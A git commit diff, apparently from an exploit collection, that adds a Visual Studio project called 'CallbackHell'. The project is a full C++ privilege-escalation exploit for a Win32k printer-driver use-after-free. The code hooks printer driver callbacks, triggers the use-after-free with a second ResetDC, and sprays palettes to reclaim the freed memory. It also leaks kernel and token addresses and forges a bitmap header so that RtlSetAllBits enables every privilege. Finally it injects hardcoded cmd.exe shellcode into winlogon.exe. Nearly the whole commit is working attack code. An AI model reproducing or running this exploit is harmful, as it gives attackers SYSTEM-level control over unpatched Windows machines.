Update other utilization🌴

This commit is contained in:
ascotbe
2021-10-25 10:47:53 +08:00
parent d3af3e75d5
commit 37f9ab3aa2
13 changed files with 867 additions and 5 deletions

Binary file not shown.

View File

@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31613.86
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CallbackHell", "CallbackHell\CallbackHell.vcxproj", "{6A40314B-695B-4B07-A5A8-5B640436A388}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x64.ActiveCfg = Debug|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x64.Build.0 = Debug|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x86.ActiveCfg = Debug|Win32
{6A40314B-695B-4B07-A5A8-5B640436A388}.Debug|x86.Build.0 = Debug|Win32
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x64.ActiveCfg = Release|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x64.Build.0 = Release|x64
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x86.ActiveCfg = Release|Win32
{6A40314B-695B-4B07-A5A8-5B640436A388}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {99AEE2A7-BD51-4AAF-9A55-1CE69B89CDCC}
EndGlobalSection
EndGlobal

View File

@@ -0,0 +1,650 @@
#pragma warning( disable : 4005 )
#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <winternl.h>
#include <psapi.h>
#include <tlhelp32.h>
// [Shellcode here]
// (Run cmd.exe)
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
#define SystemHandleInformation 0x10
#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26
typedef BOOL (*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded);
typedef DHPDEV (*DrvEnablePDEV_t)(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
typedef VOID (*VoidFunc_t)();
typedef NTSTATUS(*NtSetInformationThread_t)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
typedef struct _DriverHook
{
ULONG index;
LPVOID func;
} DriverHook;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
CHAR PoolTag[4];
CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
DriverHook driverHooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)hook_DrvEnablePDEV},
};
NtSetInformationThread_t SetInformationThread;
NtQuerySystemInformation_t QuerySystemInformation;
// Global variables
namespace globals
{
LPWSTR printerName;
HDC hdc;
DWORD counter;
BOOL shouldTrigger;
VoidFunc_t origDrvFuncs[INDEX_LAST];
DWORD64 rtlSetAllBits;
DWORD64 fakeRtlBitMapAddr;
DWORD currentProcessId;
}
VOID SprayPalettes(DWORD size)
{
/* Spray palettes to reclaim freed memory */
DWORD palCount = (size - 0x90) / 4;
DWORD palSize = sizeof(LOGPALETTE) + (palCount - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palSize);
if (lPalette == NULL) {
puts("[-] Failed to create palette");
return;
}
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
// Will call: RtlSetAllBits(BitMapHeader), where BitMapHeader is a forged
// to point to the current process token (See `CreateForgedBitMapHeader`)
// This will enable all privileges
// Offset is specific to each version. Spray the two pointers
// Arg1 (BitMapHeader)
for (DWORD i = 0; i < 0x120; i++) {
p[i] = globals::fakeRtlBitMapAddr;
// p[0xe5] = globals::fakeRtlBitMapAddr;
}
// Function pointer (RtlSetAllBits)
for (DWORD i = 0x120; i < (palSize - 4) / 8; i++) {
p[i] = globals::rtlSetAllBits;
// p[0x15b] = globals::rtlSetAllBits;
}
lPalette->palNumEntries = (WORD)palCount;
lPalette->palVersion = 0x300;
// Create lots of palettes
for (DWORD i = 0; i < 0x5000; i++)
{
CreatePalette(lPalette);
}
}
DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
{
puts("[*] Hooked DrvEnablePDEV called");
DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
// Check if we should trigger the vulnerability
if (globals::shouldTrigger == TRUE)
{
// We only want to trigger the vulnerability once
globals::shouldTrigger = FALSE;
// Trigger vulnerability with second ResetDC. This will destroy the original
// device context, while we're still inside of the first ResetDC. This will
// result in a UAF
puts("[*] Triggering UAF with second ResetDC");
HDC tmp_hdc = ResetDCW(globals::hdc, NULL);
puts("[*] Returned from second ResetDC");
// This is where we reclaim the freed memory and overwrite the function pointer
// and argument. We will use palettes to reclaim the freed memory
puts("[*] Spraying palettes");
SprayPalettes(0xe20);
puts("[*] Done spraying palettes");
}
return res;
}
BOOL SetupUsermodeCallbackHook()
{
/* Find and hook a printer's usermode callbacks */
DrvEnableDriver_t DrvEnableDriver;
VoidFunc_t DrvDisableDriver;
DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect;
PRINTER_INFO_4W *pPrinterEnum, *printerInfo;
HANDLE hPrinter;
DRIVER_INFO_2W *driverInfo;
HMODULE hModule;
DRVENABLEDATA drvEnableData;
BOOL res;
// Find available printers
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
if (pcbNeeded <= 0)
{
puts("[-] Failed to find any available printers");
return FALSE;
}
pPrinterEnum = (PRINTER_INFO_4W *)malloc(pcbNeeded);
if (pPrinterEnum == NULL)
{
puts("[-] Failed to allocate buffer for pPrinterEnum");
return FALSE;
}
res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);
if (res == FALSE || pcbReturned <= 0)
{
puts("[-] Failed to enumerate printers");
return FALSE;
}
// Loop over printers
for (DWORD i = 0; i < pcbReturned; i++)
{
printerInfo = &pPrinterEnum[0];
printf("[*] Using printer: %ws\n", printerInfo->pPrinterName);
// Open printer
res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL);
if (!res)
{
puts("[-] Failed to open printer");
continue;
}
printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName);
globals::printerName = _wcsdup(printerInfo->pPrinterName);
// Get the printer driver
GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W *)malloc(pcbNeeded);
res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded);
if (res == FALSE)
{
printf("[-] Failed to get printer driver\n");
continue;
}
printf("[*] Driver DLL: %ws\n", driverInfo->pDriverPath);
// Load the printer driver into memory
hModule = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (hModule == NULL)
{
printf("[-] Failed to load printer driver\n");
continue;
}
// Get printer driver's DrvEnableDriver and DrvDisableDriver
DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver");
DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver");
if (DrvEnableDriver == NULL || DrvDisableDriver == NULL)
{
printf("[-] Failed to get exported functions from driver\n");
continue;
}
// Call DrvEnableDriver to get the printer driver's usermode callback table
res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (res == FALSE)
{
printf("[-] Failed to enable driver\n");
continue;
}
puts("[+] Enabled printer driver");
// Unprotect the driver's usermode callback table, such that we can overwrite entries
res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);
if (res == FALSE)
{
puts("[-] Failed to unprotect printer driver's usermode callback table");
continue;
}
// Loop over hooks
for (DWORD i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++)
{
// Loop over driver's usermode callback table
for (DWORD n = 0; n < drvEnableData.c; n++)
{
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
// Check if hook INDEX matches entry INDEX
if (driverHooks[i].index == iFunc)
{
// Saved original function pointer
globals::origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
// Overwrite function pointer with hook function pointer
drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
break;
}
}
}
// Disable driver
DrvDisableDriver();
// Restore protections for driver's usermode callback table
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);
return TRUE;
}
return FALSE;
}
DWORD64 GetKernelBase()
{
/* Get kernel base address of ntoskrnl.exe */
DWORD lpcbNeeded;
BOOL res;
DWORD64 *deviceDrivers;
DWORD64 kernelBase;
// Get device drivers will return an array of pointers
// Requires at least medium integrity level
res = EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
deviceDrivers = (DWORD64*)malloc(lpcbNeeded);
res = EnumDeviceDrivers((LPVOID*)deviceDrivers, lpcbNeeded, &lpcbNeeded);
if (res == FALSE) {
return NULL;
}
// First entry matches ntoskrnl.exe
kernelBase = deviceDrivers[0];
free(deviceDrivers);
return kernelBase;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
/* Get kernel address for handle */
PSYSTEM_HANDLE_INFORMATION buffer;
DWORD objTypeNumber, bufferSize;
DWORD64 object;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
bufferSize = 0x20;
// Query handle information. This will query information for all handles on the system
// Requires at least medium integrity level
NTSTATUS status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
if (status == (NTSTATUS)0xC0000004L)
{
// Buffer too small. This is always the case, since we only alloc room 0x20 bytes
// initially, but we're receiving information for all handles on the system.
// But if we don't allocate a buffer initially, it will fail for some reason.
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
}
if (buffer == NULL || status != 0)
{
return 0;
}
// Loop over the handles
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
// Check if process ID matches current process ID and if object type matches the provided object type
if (buffer->Handles[i].UniqueProcessId == globals::currentProcessId && buffer->Handles[i].ObjectTypeIndex == type)
{
// Check if handle value matches
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
// Match. The kernel address will be in `Object`
object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
puts("[-] Could not find handle");
free(buffer);
return 0;
}
DWORD64 GetProcessTokenAddress() {
/* Get kernel address of current process token */
HANDLE proc, token;
DWORD64 tokenKernelAddress;
// Get handle for current process
proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, globals::currentProcessId);
if (proc == NULL) {
puts("[-] Failed to open current process");
return 0;
}
// Get handle for current process token
if (OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token) == FALSE)
{
puts("[-] Failed to open process token");
return 0;
}
// Get kernel address for current process token handle
for (DWORD i = 0; i < 0x100; i++) {
// Sometimes GetKernelPointer will fail for some reason
// Mostly only on the the iteration
tokenKernelAddress = GetKernelPointer(token, 0x5);
if (tokenKernelAddress != 0) {
break;
}
}
if (tokenKernelAddress == 0) {
puts("[-] Failed to get token kernel address");
return 0;
}
return tokenKernelAddress;
}
DWORD64 CreateForgedBitMapHeader(DWORD64 token)
{
/* Create a forged BitMapHeader on the large pool to be used in RtlSetAllBits */
// Cool trick taken from:
// https://github.com/KaLendsi/CVE-2021-40449-Exploit/blob/main/CVE-2021-40449-x64.cpp#L448
// https://gist.github.com/hugsy/d89c6ee771a4decfdf4f088998d60d19
DWORD dwBufSize, dwOutSize, dwThreadID, dwExpectedSize;
HANDLE hThread;
USHORT dwSize;
LPVOID lpMessageToStore, pBuffer;
UNICODE_STRING target;
HRESULT hRes;
ULONG_PTR StartAddress, EndAddress, ptr;
PBIG_POOL_INFO info;
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &dwThreadID);
dwSize = 0x1000;
lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);
memset(lpMessageToStore, 0x41, 0x20);
// BitMapHeader->SizeOfBitMap
*(DWORD64*)lpMessageToStore = 0x80;
// BitMapHeader->Buffer
*(DWORD64*)((DWORD64)lpMessageToStore + 8) = token;
target = {};
target.Length = dwSize;
target.MaximumLength = 0xffff;
target.Buffer = (PWSTR)lpMessageToStore;
hRes = SetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);
dwBufSize = 1024 * 1024;
pBuffer = LocalAlloc(LPTR, dwBufSize);
hRes = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
StartAddress = (ULONG_PTR)pBuffer;
EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ptr = StartAddress + 8;
while (ptr < EndAddress)
{
info = (PBIG_POOL_INFO)ptr;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
printf("[-] Failed to leak pool address for forged BitMapHeader\n");
return NULL;
}
BOOL Setup() {
DWORD64 kernelBase, tokenKernelAddress, rtlSetAllBitsOffset;
HMODULE kernelModule, ntdllModule;
ntdllModule = LoadLibraryW(L"ntdll.dll");
if (ntdllModule == NULL) {
puts("[-] Failed to load NTDLL");
return FALSE;
}
globals::currentProcessId = GetCurrentProcessId();
SetInformationThread = (NtSetInformationThread_t)GetProcAddress(ntdllModule, "NtSetInformationThread");
QuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdllModule, "NtQuerySystemInformation");
kernelBase = GetKernelBase();
if (kernelBase == NULL) {
puts("[-] Failed to get kernel base");
return FALSE;
}
kernelModule = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (kernelModule == NULL) {
puts("[-] Failed to load kernel module");
return FALSE;
}
tokenKernelAddress = GetProcessTokenAddress();
if (tokenKernelAddress == 0) {
puts("[-] Failed to get token kernel address");
return FALSE;
}
rtlSetAllBitsOffset = (DWORD64)GetProcAddress(kernelModule, "RtlSetAllBits");
if (rtlSetAllBitsOffset == NULL) {
puts("[-] Failed to find RtlSetAllBits");
return FALSE;
}
globals::rtlSetAllBits = (DWORD64)kernelBase + rtlSetAllBitsOffset - (DWORD64)kernelModule;
globals::fakeRtlBitMapAddr = CreateForgedBitMapHeader(tokenKernelAddress + 0x40);
if (globals::fakeRtlBitMapAddr == NULL) {
puts("[-] Failed to pool leak address of token");
return FALSE;
}
return SetupUsermodeCallbackHook();
}
VOID InjectToWinlogon()
{
/* Inject `payload` (shellcode) into winlogon.exe */
PROCESSENTRY32 entry;
HANDLE snapshot, proc;
entry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
INT pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
puts("[-] Could not find winlogon.exe");
return;
}
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL)
{
puts("[-] Failed to open process. Exploit did probably not work");
return;
}
LPVOID buffer = VirtualAllocEx(proc, NULL, sizeof(payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
{
printf("[-] Failed to allocate remote memory");
}
if (!WriteProcessMemory(proc, buffer, payload, sizeof(payload), 0))
{
puts("[-] Failed to write to remote memory");
return;
}
HANDLE hthread = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
puts("[-] Failed to create remote thread");
return;
}
}
INT main()
{
BOOL res = FALSE;
res = Setup();
if (res == FALSE) {
puts("[-] Failed to setup exploit");
return 0;
}
// Create new device context for printer with driver's hooked callbacks
globals::hdc = CreateDCW(NULL, globals::printerName, NULL, NULL);
if (globals::hdc == NULL)
{
puts("[-] Failed to create device context");
return -1;
}
// Trigger the vulnerability
// This will internally call `hdcOpenDCW` which will call our usermode callback
// From here we will call ResetDC again to trigger the UAF
globals::shouldTrigger = TRUE;
ResetDC(globals::hdc, NULL);
// Exploit complete
// We should now have all privileges
puts("[*] Spawning remote thread");
InjectToWinlogon();
return 0;
}

View File

@@ -0,0 +1,147 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{6a40314b-695b-4b07-a5a8-5b640436a388}</ProjectGuid>
<RootNamespace>CallbackHell</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CallbackHell.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CallbackHell.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -8,10 +8,10 @@ Win32k 特权提升漏洞
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 11 | x64/AMD64 | | | |
| Windows 11 | x64/AMD64 | | | &#10005; |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64 | 1607 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 1809 | | |
